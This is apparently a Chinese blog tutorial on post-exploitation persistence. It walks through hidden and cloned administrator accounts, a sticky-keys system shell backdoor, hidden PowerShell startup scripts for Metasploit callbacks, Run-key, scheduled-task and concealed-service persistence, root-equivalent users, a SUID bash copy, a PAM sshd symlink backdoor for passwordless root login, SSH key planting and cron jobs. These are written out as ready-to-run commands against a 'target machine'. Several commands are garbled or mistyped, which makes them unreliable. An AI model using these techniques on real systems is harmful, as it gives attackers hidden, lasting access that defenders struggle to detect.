后渗透——权限维持

权限维持

1 Windows权限维持

1.1 用户维持(克隆账号)

1.1.1 添加一般隐藏用户的方式

  1. net user username$ passwd /add
    
  2. 使用net user命令查看用户,发现没有username$这个用户

  3. 但是通过控制面板管理账户中可以看到该用户。

1.1.2 注册表克隆用户隐藏

需要先完成上一步🙄

  • 打开注册表编辑器:Win+Rregedit,找到如下路径:

    在这里插入图片描述

    发现SAM路径下没有权限查看,这里修改权限:菜单栏编辑权限,修改后F5刷新
    在这里插入图片描述

    可以看到本机所有用户:

    在这里插入图片描述

  • 导出用户

    在用户名上右击→导出即可,设为1.reg

    由上图可知,Administrator用户的类型为0x1f4,在注册表000001F4路径下复制F类型的数据,替换到所需添加的用户的类型中,然后在该用户类型的路径上右击导出,设为2.reg

    在这里插入图片描述

  • 删除第一步添加的用户

    net user username$ passwd /adel
    
  • 使用注册表文件注册用户

    运行1.reg→运行2.reg即可,该用户只能在注册表中能看到。

  • 开启3389端口后即可管理员权限登录登录

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    有时发现无法连接,很有可能是因为防火墙拦截。这时可以使用以下命令添加防火墙放行策略

    netsh firewall add portopening protocol = TCP port = 3389 name = rdp
    

    关闭3389端口:

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
    

1.2 SHIFT后门

Windows的粘滞键是C:\windows\system32\sethc.exe的程序,按5下SHIFT后即可启动。

当未登录系统而启动粘滞键时,系统就会以system用户来运行。

1.2.1 需要更改文件权限,如下命令

c:\windows\system32\*.*   /a /r /d y 

注释:强制将当前目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)

cacls  c:\windows\system32\*.*  /T /E /G administrators:F  

注释:在当前目录下的文件、子文件夹的
NTFS权限上添加管理员组(administrators)完全控制权限(并不删除原有所有NTFS权限设置)

1.2.2 复制cmd.exe为sethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

此时在未登录的状态下按连续按5次SHIFT即可弹出最高权限的cmd窗口。

1.3 启动项维持

1.3.1 组策略维持

  • 首先需要生成一段脚本,可使用Kali的msfvenom命令。

  • 将脚本上传到目标机,制作启动脚本,可参考以下内容:

    @echo off
    powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1
    exit
    
  • 添加到组策略开机启动中
    在这里插入图片描述

  • Kali端进行msf监听,待目标机重启后即可上线。

1.3.2 启动文件夹维持

把脚本放到启动文件夹即可随系统开机自动运行。

启动文件夹:
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级 普通
#用户就可以
组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff

1.3.3 注册表维持

  • 注册表存在的自启动目录:

    # HKEY_LOCAL_MACHINE类
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    # HKEY_CURRENT_USER类
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    
  • REG命令
    在这里插入图片描述

    使用如下命令将脚本添加到注册表:

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run(就是上文提到的注册表自启动目录)" /v shell(键名称) /t
    REG_SZ(键值类型) /d "C:\Users\Administrator\Desktop\keep\1.bat(启动脚本的路径)"
    
  • 同样,Kali端进行msf监听,待目标机重启后即可上线。

1.4 计划任务维持

  1. schtasks命令

    #命令格式
    SCHTASKS /Create [/S system [/U username [/P [password]]]]
        [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
        [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
        [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
        [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
    
    
    #参数列表:
        /S   system        指定要连接到的远程系统。如果省略这个
                           系统参数,默认是本地系统。
    
        /U   username      指定应在其中执行 SchTasks.exe 的用户上下文。
    
        /P   [password]    指定给定用户上下文的密码。如果省略则
                           提示输入。
    
        /RU  username      指定任务在其下运行的“运行方式”用户
                           帐户(用户上下文)。对于系统帐户,有效
                           值是 """NT AUTHORITY\SYSTEM""SYSTEM"。
                           对于 v2 任务,"NT AUTHORITY\LOCALSERVICE""NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
                             对这三个也都可用。
    
        /RP  [password]    指定“运行方式”用户的密码。要提示输
                           入密码,值必须是 "*" 或无。系统帐户会忽略该
                           密码。必须和 /RU 或 /XML 开关一起使用。
    
    /RU/XML    /SC   schedule     指定计划频率。
                           有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、
                           MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    
        /MO   modifier     改进计划类型以允许更好地控制计划重复
                           周期。有效值列于下面“修改者”部分中。
    
        /D    days         指定该周内运行任务的日期。有效值:
                           MON、TUE、WED、THU、FRI、SAT、SUN
                           和对 MONTHLY 计划的 1 - 31
                           (某月中的日期)。通配符“*”指定所有日期。
    
        /M    months       指定一年内的某月。默认是该月的第一天。
                           有效值: JAN、FEB、MAR、APR、MAY、JUN、
                           JUL、 AUG、SEP、OCT、NOV  和 DEC。通配符
                           “*” 指定所有的月。
    
        /I    idletime     指定运行一个已计划的 ONIDLE 任务之前
                           要等待的空闲时间。
                           有效值范围: 1999 分钟。
    
        /TN   taskname     以路径\名称形式指定
                           对此计划任务进行唯一标识的字符串。
    
        /TR   taskrun      指定在这个计划时间运行的程序的路径
                           和文件名。
                           例如: C:\windows\system32\calc.exe
    
        /ST   starttime    指定运行任务的开始时间。
                           时间格式为 HH:mm (24 小时时间),例如 14:30 表示
                           2:30 PM。如果未指定 /ST,则默认值为
                           当前时间。/SC ONCE 必需有此选项。
    
        /RI   interval     用分钟指定重复间隔。这不适用于
                           计划类型: MINUTE、HOURLY、
                           ONSTART, ONLOGON, ONIDLE, ONEVENT.
                           有效范围: 1 - 599940 分钟。
                           如果已指定 /ET 或 /DU,则其默认值为
                           10 分钟。
    
        /ET   endtime      指定运行任务的结束时间。
                           时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。
                           这不适用于计划类型: ONSTART、
                           ONLOGON, ONIDLE, ONEVENT.
    
        /DU   duration     指定运行任务的持续时间。
                           时间格式为 HH:mm。这不适用于 /ET 和
                           计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
                           对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
                           1 小时。
    
        /K                 在结束时间或持续时间终止任务。
                           这不适用于计划类型: ONSTART、
                           ONLOGON, ONIDLE, ONEVENT.
                           必须指定 /ET 或 /DU。
    
        /SD   startdate    指定运行任务的第一个日期。
                           格式为 yyyy/mm/dd。默认值为
                           当前日期。这不适用于计划类型: ONCE、
                           ONSTART, ONLOGON, ONIDLE, ONEVENT.
    
        /ED   enddate      指定此任务运行的最后一天的日期。
                           格式是 yyyy/mm/dd。这不适用于计划类型:
                            ONCE、ONSTART、ONLOGON、ONIDLE。
    
        /EC   ChannelName  为 OnEvent 触发器指定事件通道。
    
        /IT                仅有在 /RU 用户当前已登录且
                           作业正在运行时才可以交互式运行任务。
                           此任务只有在用户已登录的情况下才运行。
    
        /NP                不储存任何密码。任务以给定用户的身份
                           非交互的方式运行。只有本地资源可用。
    
        /Z                 标记在最终运行完任务后删除任务。
    
        /XML  xmlfile      从文件的指定任务 XML 中创建任务。
                           可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
                           主体时单独使用 /RP。
    
        /V1                创建 Vista 以前的平台可以看见的任务。
                           不兼容 /XML。
    
        /F                 如果指定的任务已经存在,则强制创建
                           任务并抑制警告。
    
        /RL   level        为作业设置运行级别。有效值为
                           LIMITED 和 HIGHEST。默认值为 LIMITED。
    
        /DELAY delaytime   指定触发触发器后延迟任务运行的
                           等待时间。时间格式为
                           mmmm:ss。此选项仅对计划类型
                           ONSTART, ONLOGON, ONEVENT.
    
        /HRESULT          为获得更出色的故障诊断能力,处理退出代码
                           将采用 HRESULT 格式。
    
        /?                 显示此帮助消息。
    
    #修改者: 按计划类型的 /MO 开关的有效值:
        MINUTE:  11439 分钟。
        HOURLY:  1 - 23 小时。
        DAILY:   1365 天。
        WEEKLY:  152 周。
        ONCE:    无修改者。
        ONSTART: 无修改者。
        ONLOGON: 无修改者。
        ONIDLE:  无修改者。
        MONTHLY: 112,或
                 FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
    
        ONEVENT:  XPath 事件查询字符串。
    
    #示例:
        ==> 在远程机器 "ABC" 上创建计划任务 "doc",
            该机器每小时在 "system" 用户下运行 notepad.exe。
    
            SCHTASKS /Create /S ABC /U user /P password /RU system
                     /RP runaspassword /SC HOURLY /TN doc /TR notepad
    
        ==> 在远程机器 "ABC" 上创建计划任务 "accountant",
            在指定的开始日期和结束日期之间的开始时间和结束时间内,
            每隔五分钟运行 calc.exe。
    
            SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
                     /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00
                     /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword
    
        ==> 创建计划任务 "gametime",在每月的第一个星期天
            运行“空当接龙”。
    
            SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime
                     /TR c:\windows\system32\freecell
    
        ==> 在远程机器 "ABC" 创建计划任务 "report",
            每个星期运行 notepad.exe。
    
            SCHTASKS /Create /S ABC /U user /P password /RU runasuser
                     /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe
    
        ==> 在远程机器 "ABC" 创建计划任务 "logtracker",
            每隔五分钟从指定的开始时间到无结束时间,
            运行 notepad.exe。将提示输入 /RP
            密码。
    
            SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
                     /MO 5 /TN logtracker
                     /TR c:\windows\system32\notepad.exe /ST 18:30
                     /RU runasuser /RP
    
        ==> 创建计划任务 "gaming",每天从 12:00 点开始到
            14:00 点自动结束,运行 freecell.exe。
    
            SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00
                     /ET 14:00 /K
        ==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc
            只要在“系统”通道中发布事件 101
    
            SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
                     /EC System /MO *[System/EventID=101]
        ==> 文件路径中可以加入空格,但需要加上两组引号,
            一组引号用于 CMD.EXE,另一组用于 SchTasks.exe。用于 CMD
            的外部引号必须是一对双引号;内部引号可以是一对单引号或
            一对转义双引号:
            SCHTASKS /Create
               /tr "'c:\program files\internet explorer\iexplorer.exe'
               \"c:\log data\today.xml\"" ...
    
  2. at命令(winserver2003)

    at 1:00AM /EverySaturday c:\1.bat \\指定计算机
    

    编写一个命令进行权限维持

    @echo off
    powershell.exe -2 hidden -ExeoutionPolly Bypass -NoExit -File C:\sdsasfsafs\shell.pel exit
    

1.5 服务维持

1、创建服务
sc create shell start= auto binPath= "cmd.exe /k powershell.exe w
hidden ExecutionPolicy
Bypass NoExit
File
C:\Users\Administrator\Desktop\keep\shell.ps1" obj= Localsystem
2、对该服务进行伪装
sc description "shell" "shell的介绍"
3、设置服务的自动启动
sc config "shell" start= auto
4、然后启动该服务
net start "服务名"

这种创建服务的方法隐藏性太弱,直接在服务里就能看到,可以在创建完服务后,使用以下命令将创建的 服务隐藏 ,这样不论是在服务中,还是使用命令都查不到这个服务。

sc sdset shell "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc sdset shell "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

使用以下的命令进行恢复

sc sdset shell "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

2 Linux权限维持

2.1 特权账号维持

2.1.1 用户文件

  • /etc/passwd

    用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
    
    root:x:0:0:root:/root:/bin/bash
    
  • /etc/shadow(root权限)

    用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段
    
    root:$9wl2klcxx9s:0:0:99999:7:::
    

2.1.2 创建用户

useradd username
passwd username
#或者
useradd userpassword username

以上方式较为繁琐且不安全。

useradd -p `openssl passwd -1 -salt `salt` 123456` username
#或者
useradd -p "$(openssl passwd -1 123456)" username
#创建管理员用户(root权限)
useradd -p `openssl passwd -1 -salt `salt` 123456` username -o -u 0 -g root -G root -s /bin/bash -d /home/username

2.2 SUID维持

设置了suid的二进制程序文件,在用户执行该二进制程序时,用户的权限就是该二进制程序文件属主的权限。sgid是执行程序时的权限是文件属组的权限。

  • bash相当于Windows中的cmd,这里复制该程序到普通用户拥有访问权限的位置

    cp /bin/bash /tmp/.bash
    
  • 设置权限:

    #用户对程序的读写执行权限
    chmod 4755 /tmp/.bash
    #SUID权限
    chmod +s /tmp/.bash
    
  • 运行/tmp/.bash

    /tmp/.bash p
    

2.3 PAM软连接维持

2.3.1 创建软连接

ln -fs /var/xxx/xxx.txt newfile.txt

2.3.2 查看软连接

find /etc/pam.d |xargs grep "pam_rootok"

ls /etc/pam.d

2.3.3 通过软连接创建ssh后门

  • 判断ssh是否开启了PAM认证

    cat /etc/ssh/sshd_config|grep UsePAM
    
  • 以root权限创建

    #建立sshd的软连接
    ln -sf /usr/sbin/sshd /tmp/ceshi 
    #更改端口为233334
    /tmp/ceshi -oPort=23333
    
  • 登录时就不需要密码了

    ssh root@[IP地址] -p [后门端口]
    

2.4 SSH公钥登录

  • 在工具机上生成公钥和私钥

    ssh-keygen -t rsa
    
  • 将生成的id_rsa.pub文件复制到目标机(服务器)的/root/.ssh/authorized_keys文件中

  • 查看服务器中/etc/ssh/sshd_confg文件是否开启了公私钥登录

    cat /etc/ssh/sshd_config
    
  • 在工具机登录目标机不需要密码

    ssh root@ip地址
    

2.5 定时任务

命令格式为f1 f2 f3 f4 f5 程序文件的路径

  • 其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。
  • 当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行程序,其馀类推
  • 当 f1 为 ab时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 ab时表示从第 a 到第 b 小时都要执行,其馀类推
  • 当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小时个时间间隔执行一次,其馀类推
  • 当 f1 为 a, b, c,… 时表示第 a, b, c,… 分钟要执行,f2 为 a, b, c,… 时表示第 a, b, c…个小时要执行,其馀类推
  • 编辑计划任务

    crontab -e
    

    输入以下内容:

    */1 * * * * /tmp/shell.sh
    
  • 查看计划任务状态

    systemctl status crond 
    
  • 启动计划任务

    systemctl start crond.service
    
    systemctl stop crond.service#停止计划任务
    
  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值